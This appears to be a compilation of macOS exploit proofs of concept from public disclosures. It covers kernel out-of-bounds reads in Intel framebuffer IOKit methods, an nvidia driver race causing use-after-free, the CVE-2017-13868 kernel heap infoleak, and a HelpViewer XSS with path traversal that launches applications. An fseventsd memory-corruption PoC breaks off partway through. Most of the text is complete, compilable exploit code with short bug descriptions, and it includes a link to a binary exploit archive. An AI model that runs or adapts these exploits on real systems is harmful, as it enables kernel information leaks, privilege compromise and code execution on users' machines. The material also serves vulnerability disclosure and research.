MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_exec capri_exec.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x921,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
/*
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
*/
// ianbeer
#if 0
MacOS kernel UAF due to lack of locking in nvidia GeForce driver
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
#endif
// build: clang -o nvtask nvtask.c -framework IOKit
// run: while true; do ./nvtask; done
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
uint64_t set_app_support_bits(mach_port_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputStructCnt = 1;
outputStructCnt = 1;
inputStruct[0] = 0xff;
err = IOConnectCallMethod(
conn,
0x107,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}
return 0;
}
volatile int go = 0;
volatile int running = 0;
void* thread_func(void* arg) {
mach_port_t conn = (mach_port_t)arg;
printf("thread running\n");
running = 1;
while(!go){;}
set_app_support_bits(conn);
return 0;
}
int main(int argc, char** argv){
pid_t child_pid = fork();
if (child_pid == -1) {
printf("fork failed\n");
return 0;
}
if (child_pid) {
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
if (service == MACH_PORT_NULL) {
printf("unable to find service\n");
return 0;
}
printf("got service: 0x%x\n", service);
io_connect_t conn = MACH_PORT_NULL;
kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
if (err != KERN_SUCCESS) {
printf("unable to open ioservice\n");
return 0;
}
printf("got service\n");
pthread_t th;
pthread_create(&th, NULL, thread_func, (void*)conn);
while(!running){;}
go = 1;
set_app_support_bits(conn);
pthread_join(th, NULL);
int loc = 0;
wait(&loc);
} else {
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
if (service == MACH_PORT_NULL) {
printf("unable to find service\n");
return 0;
}
printf("got service: 0x%x\n", service);
io_connect_t conn = MACH_PORT_NULL;
kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
if (err != KERN_SUCCESS) {
printf("unable to open ioservice\n");
return 0;
}
printf("got service\n");
set_app_support_bits(conn);
}
return 0;
}
/*
* ctl_ctloutput-leak.c
* Brandon Azad
*
* CVE-2017-13868
*
* While looking through the source code of XNU version 4570.1.46, I noticed that the function
* ctl_ctloutput() in the file bsd/kern/kern_control.c does not check the return value of
* sooptcopyin(), which makes it possible to leak the uninitialized contents of a kernel heap
* allocation to user space. Triggering this information leak requires root privileges.
*
* The ctl_ctloutput() function is called when a userspace program calls getsockopt(2) on a kernel
* control socket. The relevant code does the following:
* (a) It allocates a kernel heap buffer for the data parameter to getsockopt(), without
* specifying the M_ZERO flag to zero out the allocated bytes.
* (b) It copies in the getsockopt() data from userspace using sooptcopyin(), filling the data
* buffer just allocated. This copyin is supposed to completely overwrite the allocated data,
* which is why the M_ZERO flag was not needed. However, the return value of sooptcopyin() is
* not checked, which means it is possible that the copyin has failed, leaving uninitialized
* data in the buffer. The copyin could fail if, for example, the program passed an unmapped
* address to getsockopt().
* (c) The code then calls the real getsockopt() implementation for this kernel control socket.
* This implementation should process the input buffer, possibly modifying it and shortening
* it, and return a result code. However, the implementation is free to assume that the
* supplied buffer has already been initialized (since theoretically it comes from user
* space), and hence several implementations don't modify the buffer at all. The NECP
* function necp_ctl_getopt(), for example, just returns 0 without processing the data buffer
* at all.
* (d) Finally, if the real getsockopt() implementation doesn't return an error, ctl_ctloutput()
* calls sooptcopyout() to copy the data buffer back to user space.
*
* Thus, by specifying an unmapped data address to getsockopt(2), we can cause a heap buffer of a
* controlled size to be allocated, prevent the contents of that buffer from being initialized, and
* then reach a call to sooptcopyout() that tries to write that buffer back to the unmapped
* address. All we need to do for the copyout to succeed is remap that address between the calls to
* sooptcopyin() and sooptcopyout(). If we can do that, then we will leak uninitialized kernel heap
* data to userspace.
*
* It turns out that this is a pretty easy race to win. While testing on my 2015 Macbook Pro, the
* mean number of attempts to win the race was never more than 600, and the median was never more
* than 5. (This testing was conducted with DEBUG off, since the printfs dramatically slow down the
* exploit.)
*
* This program exploits this vulnerability to leak data from a kernel heap buffer of a
* user-specified size. No attempt is made to seed the heap with interesting data. Tested on macOS
* High Sierra 10.13 (build 17A365).
*
* Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44234.zip
*
*/
#if 0
if (sopt->sopt_valsize && sopt->sopt_val) {
MALLOC(data, void *, sopt->sopt_valsize, M_TEMP, // (a) data is allocated
M_WAITOK); // without M_ZERO.
if (data == NULL)
return (ENOMEM);
/*
* 4108337 - copy user data in case the
* kernel control needs it
*/
error = sooptcopyin(sopt, data, // (b) sooptcopyin() is
sopt->sopt_valsize, sopt->sopt_valsize); // called to fill the
} // buffer; the return
len = sopt->sopt_valsize; // value is ignored.
socket_unlock(so, 0);
error = (*kctl->getopt)(kctl->kctlref, kcb->unit, // (c) The getsockopt()
kcb->userdata, sopt->sopt_name, // implementation is
data, &len); // called to process
if (data != NULL && len > sopt->sopt_valsize) // the buffer.
panic_plain("ctl_ctloutput: ctl %s returned "
"len (%lu) > sopt_valsize (%lu)\n",
kcb->kctl->name, len,
sopt->sopt_valsize);
socket_lock(so, 0);
if (error == 0) {
if (data != NULL)
error = sooptcopyout(sopt, data, len); // (d) If (c) succeeded,
else // then the data buffer
sopt->sopt_valsize = len; // is copied out to
} // userspace.
#endif
#include <errno.h>
#include <mach/mach.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#if __x86_64__
// ---- Header files not available on iOS ---------------------------------------------------------
#include <mach/mach_vm.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#else /* __x86_64__ */
// If we're not on x86_64, then we probably don't have access to the above headers. The following
// definitions are copied directly from the macOS header files.
// ---- Definitions from mach/mach_vm.h -----------------------------------------------------------
extern
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
extern
kern_return_t mach_vm_deallocate
(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size
);
// ---- Definitions from sys/sys_domain.h ---------------------------------------------------------
#define SYSPROTO_CONTROL 2 /* kernel control protocol */
#define AF_SYS_CONTROL 2 /* corresponding sub address type */
// ---- Definitions from sys/kern_control.h -------------------------------------------------------
#define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */
#define MAX_KCTL_NAME 96
struct ctl_info {
u_int32_t ctl_id; /* Kernel Controller ID */
char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */
};
struct sockaddr_ctl {
u_char sc_len; /* depends on size of bundle ID string */
u_char sc_family; /* AF_SYSTEM */
u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */
u_int32_t sc_id; /* Controller unique identifier */
u_int32_t sc_unit; /* Developer private unit number */
u_int32_t sc_reserved[5];
};
#endif /* __x86_64__ */
// ---- Definitions from bsd/net/necp.h -----------------------------------------------------------
#define NECP_CONTROL_NAME "com.apple.net.necp_control"
// ---- Macros ------------------------------------------------------------------------------------
#if DEBUG
#define DEBUG_TRACE(fmt, ...) printf(fmt"\n", ##__VA_ARGS__)
#else
#define DEBUG_TRACE(fmt, ...)
#endif
#define ERROR(fmt, ...) printf("Error: "fmt"\n", ##__VA_ARGS__)
// ---- Kernel heap infoleak ----------------------------------------------------------------------
// A callback block that will be called each time kernel data is leaked. leak_data and leak_size
// are the kernel data that was leaked and the size of the leak. This function should return true
// to finish and clean up, false to retry the leak.
typedef bool (^kernel_leak_callback_block)(const void *leak_data, size_t leak_size);
// Open the control socket for com.apple.necp. Requires root privileges.
static bool open_necp_control_socket(int *necp_ctlfd) {
int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
if (ctlfd < 0) {
ERROR("Could not create a system control socket: errno %d", errno);
return false;
}
struct ctl_info ctlinfo = { .ctl_id = 0 };
strncpy(ctlinfo.ctl_name, NECP_CONTROL_NAME, sizeof(ctlinfo.ctl_name));
int err = ioctl(ctlfd, CTLIOCGINFO, &ctlinfo);
if (err) {
close(ctlfd);
ERROR("Could not retrieve the control ID number for %s: errno %d",
NECP_CONTROL_NAME, errno);
return false;
}
struct sockaddr_ctl addr = {
.sc_len = sizeof(addr),
.sc_family = AF_SYSTEM,
.ss_sysaddr = AF_SYS_CONTROL,
.sc_id = ctlinfo.ctl_id, // com.apple.necp
.sc_unit = 0, // Let the kernel pick the control unit.
};
err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
if (err) {
close(ctlfd);
ERROR("Could not connect to the NECP control system (ID %d) "
"unit %d: errno %d", addr.sc_id, addr.sc_unit, errno);
return false;
}
*necp_ctlfd = ctlfd;
return true;
}
// Allocate a virtual memory region at the address pointed to by map_address. If map_address points
// to a NULL address, then the allocation is created at an arbitrary address which is stored in
// map_address on return.
static bool allocate_map_address(void **map_address, size_t map_size) {
mach_vm_address_t address = (mach_vm_address_t) *map_address;
bool get_address = (address == 0);
int flags = (get_address ? VM_FLAGS_ANYWHERE : VM_FLAGS_FIXED);
kern_return_t kr = mach_vm_allocate(mach_task_self(), &address, map_size, flags);
if (kr != KERN_SUCCESS) {
ERROR("Could not allocate virtual memory: mach_vm_allocate %d: %s",
kr, mach_error_string(kr));
return false;
}
if (get_address) {
*map_address = (void *)address;
}
return true;
}
// Deallocate the mapping created by allocate_map_address.
static void deallocate_map_address(void *map_address, size_t map_size) {
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) map_address, map_size);
}
// Context for the map_address_racer thread.
struct map_address_racer_context {
pthread_t thread;
volatile bool running;
volatile bool deallocated;
volatile bool do_map;
volatile bool restart;
bool success;
void * address;
size_t size;
};
// The racer thread. This thread will repeatedly: (a) deallocate the address; (b) spin until do_map
// is true; (c) allocate the address; (d) spin until the main thread sets restart to true or
// running to false. If the thread encounters an internal error, it sets success to false and
// exits.
static void *map_address_racer(void *arg) {
struct map_address_racer_context *context = arg;
while (context->running) {
// Deallocate the address.
deallocate_map_address(context->address, context->size);
context->deallocated = true;
// Wait for do_map to become true.
while (!context->do_map) {}
context->do_map = false;
// Do a little bit of work so that the allocation is more likely to take place at
// the right time.
close(-1);
// Re-allocate the address. If this fails, abort.
bool success = allocate_map_address(&context->address, context->size);
if (!success) {
context->success = false;
break;
}
// Wait while we're still running and not told to restart.
while (context->running && !context->restart) {}
context->restart = false;
};
return NULL;
}
// Start the map_address_racer thread.
static bool start_map_address_racer(struct map_address_racer_context *context, size_t leak_size) {
// Allocate the initial block of memory, fixing the address.
context->address = NULL;
context->size = leak_size;
if (!allocate_map_address(&context->address, context->size)) {
goto fail_0;
}
// Start the racer thread.
context->running = true;
context->deallocated = false;
context->do_map = false;
context->restart = false;
context->success = true;
int err = pthread_create(&context->thread, NULL, map_address_racer, context);
if (err) {
ERROR("Could not create map_address_racer thread: errno %d", err);
goto fail_1;
}
return true;
fail_1:
deallocate_map_address(context->address, context->size);
fail_0:
return false;
}
// Stop the map_address_racer thread.
static void stop_map_address_racer(struct map_address_racer_context *context) {
// Exit the thread.
context->running = false;
context->do_map = true;
pthread_join(context->thread, NULL);
// Deallocate the memory.
deallocate_map_address(context->address, context->size);
}
// Try the NECP leak once. Returns true if the leak succeeded.
static bool try_necp_leak(int ctlfd, struct map_address_racer_context *context) {
socklen_t length = context->size;
// Wait for the map to be deallocated.
while (!context->deallocated) {};
context->deallocated = false;
// Signal the racer to do the mapping.
context->do_map = true;
// Try to trigger the leak.
int err = getsockopt(ctlfd, SYSPROTO_CONTROL, 0, context->address, &length);
if (err) {
DEBUG_TRACE("Did not allocate in time");
return false;
}
// Most of the time we end up here: allocating too early. If the first two words are both
// 0, then assume we didn't make the leak. We need the leak size to be at least 16 bytes.
uint64_t *data = context->address;
if (data[0] == 0 && data[1] == 0) {
return false;
}
// WOW! It worked!
return true;
}
// Repeatedly try the NECP leak, until either we succeed or hit the maximum retry limit.
static bool try_necp_leak_repeat(int ctlfd, kernel_leak_callback_block kernel_leak_callback,
struct map_address_racer_context *context) {
const size_t MAX_TRIES = 10000000;
bool has_leaked = false;
for (size_t try = 1;; try++) {
// Try the leak once.
if (try_necp_leak(ctlfd, context)) {
DEBUG_TRACE("Triggered the leak after %zu %s!", try,
(try == 1 ? "try" : "tries"));
try = 0;
has_leaked = true;
// Give the leak to the callback, and finish if it says we're done.
if (kernel_leak_callback(context->address, context->size)) {
return true;
}
}
// If we haven't successfully leaked anything after MAX_TRIES attempts, give up.
if (!has_leaked && try >= MAX_TRIES) {
ERROR("Giving up after %zu unsuccessful leak attempts", try);
return false;
}
// Reset for another try.
context->restart = true;
}
}
// Leak kernel heap data repeatedly until the callback function returns true.
static bool leak_kernel_heap(size_t leak_size, kernel_leak_callback_block kernel_leak_callback) {
const size_t MIN_LEAK_SIZE = 16;
bool success = false;
if (leak_size < MIN_LEAK_SIZE) {
ERROR("Target leak size too small; must be at least %zu bytes", MIN_LEAK_SIZE);
goto fail_0;
}
int ctlfd;
if (!open_necp_control_socket(&ctlfd)) {
goto fail_0;
}
struct map_address_racer_context context;
if (!start_map_address_racer(&context, leak_size)) {
goto fail_1;
}
if (!try_necp_leak_repeat(ctlfd, kernel_leak_callback, &context)) {
goto fail_2;
}
success = true;
fail_2:
stop_map_address_racer(&context);
fail_1:
close(ctlfd);
fail_0:
return success;
}
// ---- Main --------------------------------------------------------------------------------------
// Dump data to stdout.
static void dump(const void *data, size_t size) {
const uint8_t *p = data;
const uint8_t *end = p + size;
unsigned off = 0;
while (p < end) {
printf("%06x: %02x", off & 0xffffff, *p++);
for (unsigned i = 1; i < 16 && p < end; i++) {
bool space = (i % 8) == 0;
printf(" %s%02x", (space ? " " : ""), *p++);
}
printf("\n");
off += 16;
}
}
int main(int argc, const char *argv[]) {
// Parse the arguments.
if (argc != 2) {
ERROR("Usage: %s <leak-size>", argv[0]);
return 1;
}
char *end;
size_t leak_size = strtoul(argv[1], &end, 0);
if (*end != 0) {
ERROR("Invalid leak size '%s'", argv[1]);
return 1;
}
// Try to leak interesting data from the kernel.
const size_t MAX_TRIES = 50000;
__block size_t try = 1;
__block bool leaked = false;
bool success = leak_kernel_heap(leak_size, ^bool (const void *leak, size_t size) {
// Try to find an kernel pointer in the leak.
const uint64_t *p = leak;
for (size_t i = 0; i < size / sizeof(*p); i++) {
if (p[i] >> 48 == 0xffff) {
dump(leak, size);
leaked = true;
return true;
}
}
#if DEBUG
// Show this useless leak anyway.
DEBUG_TRACE("Boring leak:");
dump(leak, size);
#endif
// If we've maxed out, just bail.
if (try >= MAX_TRIES) {
ERROR("Could not leak interesting data after %zu attempts", try);
return true;
}
try++;
return false;
});
return (success && leaked ? 0 : 1);
}
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040
HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help
or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html
HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.
HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".
PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
The attached poc will pop up a Calculator.
Tested on macOS Sierra 10.12.1 (16B2659).
-->
<script>
/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.
HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help
or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html
HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.
HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".
PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
The attached poc will pop up a Calculator.
Tested on macOS Sierra 10.12.1 (16B2659).
*/
function main() {
function second() {
var f = document.createElement("iframe");
f.onload = () => {
f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
};
f.src = "help:openbook=com.apple.safari.help";
document.documentElement.appendChild(f);
}
var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));\nsecond();";
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}
main();
</script>
# Exploit Title: Apple macOS 10.15.1 - Denial of Service (PoC)
# Date: 2019-11-02
# Exploit Author: 08Tc3wBB
# Vendor Homepage: Apple
# Software Link:
# Version: Apple macOS < 10.15.1 / iOS < 13.2
# Tested on: Tested on macOS 10.14.6 and iOS 12.4.1
# CVE : N/A
# Type : DOS
# https://support.apple.com/en-us/HT210721
----- Execution file path:
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/FSEvents.framework/Versions/A/Support/fseventsd
fseventsd running as root and unsandboxed on both iOS and macOS, and accessible from within the Application sandbox.
----- Analysis
Env: macOS 10.14.6
I named following pseudocode functions to help you understand the execution flow.
void __fastcall routine_1(mach_msg_header_t *msg, mach_msg_header_t *reply) // 0x100001285
{
...
v9 = implementation_register_rpc(
msg->msgh_local_port,
msg[1].msgh_size,
msg[4].msgh_reserved,
(unsigned int)msg[4].msgh_id,
*(_QWORD *)&msg[1].msgh_reserved, // input_mem1
msg[2].msgh_size >> 2, // input_mem1_len
*(_QWORD *)&msg[2].msgh_remote_port, // input_mem2
msg[2].msgh_id, // input_mem2_len
msg[5].msgh_remote_port,
*(_QWORD *)&msg[3].msgh_bits, // input_mem3
msg[3].msgh_local_port >> 2, // input_mem3_len
*(_QWORD *)&msg[3].msgh_reserved, // input_mem4
msg[4].msgh_size); // input_mem4_len
...
}
routine_1 will be executed when user send mach_msg to Mach Service "com.apple.FSEvents" with id 0x101D0
And routine_1 internally invokes a function called fsevent_add_client to process data included in input_mem1/input_mem2
I marked five places with: (1) (2) (3) (4) (5)
These are the essential points cause this vulnerability.
void *fsevent_add_client(...)
{
...
v25 = malloc(8LL * input_mem1_len); // (1) Allocate a new buffer with input_mem1_len, didn't initializing its content.
*(_QWORD *)(eventobj + 136) = v25; // Subsequently insert that new buffer into (eventobj + 136)
...
v20 = ... // v20 point to an array of strings that was created based on user input
// The following process is doing recursive parsing to v20
index = 0LL;
while ( 1 )
{
v26 = *(const char **)(v20 + 8 * index);
...
v28 = strstr(*(const char **)(v20 + 8 * index), "/.docid");
v27 = v26;
if ( !v28 ) // (2) If input string doesn't contain "/.docid", stop further parse, go straight to strdup
goto LABEL_15;
if ( strcmp(v28, "/.docid") ) // (3) If an input string doesn't exactly match "/.docid", goto LABEL_16
goto LABEL_16;
*(_QWORD *)(*(_QWORD *)(eventobj + 136) + 8 * index) = strdup(".docid");
LABEL_17:
if ( ++index >= input_mem1_len )
goto LABEL_21;
}
v27 = *(const char **)(v20 + 8 * index);
LABEL_15:
*(_QWORD *)(*(_QWORD *)(eventobj + 136) + 8 * index) = strdup(v27);
LABEL_16:
if ( *(_QWORD *)(*(_QWORD *)(eventobj + 136) + 8 * index) )
goto LABEL_17; // (4) So far the new buffer has never been initialized, but if it contain any wild value, it will goto LABEL_17, which program will retain that wild value and go on to parse next input_string
...
// (5) Since all values saved in the new buffer supposed to be the return value of strdup, they will all be free'd later on. So if spray works successfully, the attacker can now has the ability to call free() on any address, further develop it to modify existing memory data.
}
However there is a catch, fseventsd only allow input_mem1_len be 1 unless the requested proc has root privilege, led to the size of uninitialized buffer can only be 8, such small size caused it very volatile, hard to apply desired spray work unless discover something else to assist. Or exploit another system proc (sandboxed it's okay), and borrow their root credential to send the exploit msg.
----- PoC
// clang poc.c -framework CoreFoundation -o poc
#include <stdio.h>
#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>
#include <bootstrap.h>
mach_port_t server_port = 0;
mach_port_t get_server_port(){
if(server_port)
return server_port;
bootstrap_look_up(bootstrap_port, "com.apple.FSEvents", &server_port);
return server_port;
}
int trigger_bug = 0;
int has_reach_limit = 0;
uint32_t call_routine_1(){
struct SEND_Msg{
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t port;
mach_msg_ool_descriptor_t mem1;
mach_msg_ool_descriptor_t mem2;
mach_msg_ool_descriptor_t mem3;
mach_msg_ool_descriptor_t mem4;
// Offset to here : +104
uint64_t unused_field1;
uint32_t input_num1; // +112
uint32_t input_num2; // +116
uint64_t len_auth1; // +120 length of mem1/mem2
uint32_t input_num3; // +128
uint64_t len_auth2; // +132 length of mem3/mem4
char unused_field[20];
};
struct RECV_Msg{
mach_msg_header_t Head; // Size: 24
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t port;
uint64_t NDR_record;
};
struct SEND_Msg *msg = malloc(0x100);
bzero(msg, 0x100);
msg->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND);
msg->Head.msgh_size = 160;
int kkk = get_server_port();
msg->Head.msgh_remote_port = kkk;
msg->Head.msgh_local_port = mig_get_reply_port();
msg->Head.msgh_id = 0x101D0;
msg->msgh_body.msgh_descriptor_count = 5;
msg->port.type = MACH_MSG_PORT_DESCRIPTOR;
msg->mem1.deallocate = false;
msg->mem1.copy = MACH_MSG_VIRTUAL_COPY;
msg->mem1.type = MACH_MSG_OOL_DESCRIPTOR;
memcpy(&msg->mem2, &msg->mem1, sizeof(msg->mem1));
memcpy(&msg->mem3, &msg->mem1, sizeof(msg->mem1));
memcpy(&msg->mem4, &msg->mem1, sizeof(msg->mem1));
mach_port_t port1=0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port1);
msg->port.name = port1;
msg->port.disposition = MACH_MSG_TYPE_MAKE_SEND;
uint64_t empty_data = 0;
if(trigger_bug){
msg->input_num1 = 5;
msg->mem1.address = &empty_data;
msg->mem1.size = 4;
msg->input_num2 = msg->mem1.size >> 2; // input_mem1_len_auth
msg->mem2.address = "/.docid1";
msg->mem2.size = (mach_msg_size_t)strlen(msg->mem2.address) + 1;
}
else{
msg->input_num1 = 1;
msg->mem1.address = &empty_data;
msg->mem1.size = 4;
msg->input_num2 = msg->mem1.size >> 2; // input_mem1_len_auth
msg->mem2.address = "/.dacid1";
msg->mem2.size = (mach_msg_size_t)strlen(msg->mem2.address) + 1;
}
msg->mem3.address = 0;
msg->mem3.size = 0;
msg->input_num3 = msg->mem3.size >> 2; // input_mem3_len_auth
msg->mem4.address = 0;
msg->mem4.size = 0;
